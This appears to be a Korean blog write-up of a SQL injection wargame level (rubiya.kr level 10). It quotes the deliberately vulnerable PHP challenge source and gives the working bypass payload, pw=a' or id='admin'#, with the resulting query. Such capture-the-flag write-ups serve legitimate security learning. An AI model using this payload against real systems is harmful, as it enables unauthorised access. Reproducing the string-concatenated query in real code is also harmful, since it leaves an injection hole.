http://rubiya.kr/sqli/prob10.php
<?php
include "./dbconn.php";
include "./solve.php";
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob10 where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id'] == 'admin') solve();
highlight_file(__FILE__);
?>
pw를 받아서 쿼리문을 돌린 후 admin이라는 결과값이 나오면 통과.
끝에 and 1=0으로 무조건 false가 되어 어떤 값을 넣어도 통과가 안 될 것 같으므로 주석으로 막아버리면
될 것 같다. (필터링에도 아무것도 안되있음.)
http://rubiya.kr/sqli/prob10.php?pw=a%27%20or%20id=%27admin%27%23
query : select id from prob10 where id='guest' and pw='a' or id='admin'#' and 1=0
'webhacking > sql, sql injection' 카테고리의 다른 글
rubiya.kr 12번. (0) | 2014.08.28 |
---|---|
rubiya.kr 11번. (0) | 2014.08.28 |
rubiya.kr 9번 (0) | 2014.08.28 |
rubiya.kr 8번. (0) | 2014.08.28 |
rubiya.kr 7번 (0) | 2014.08.28 |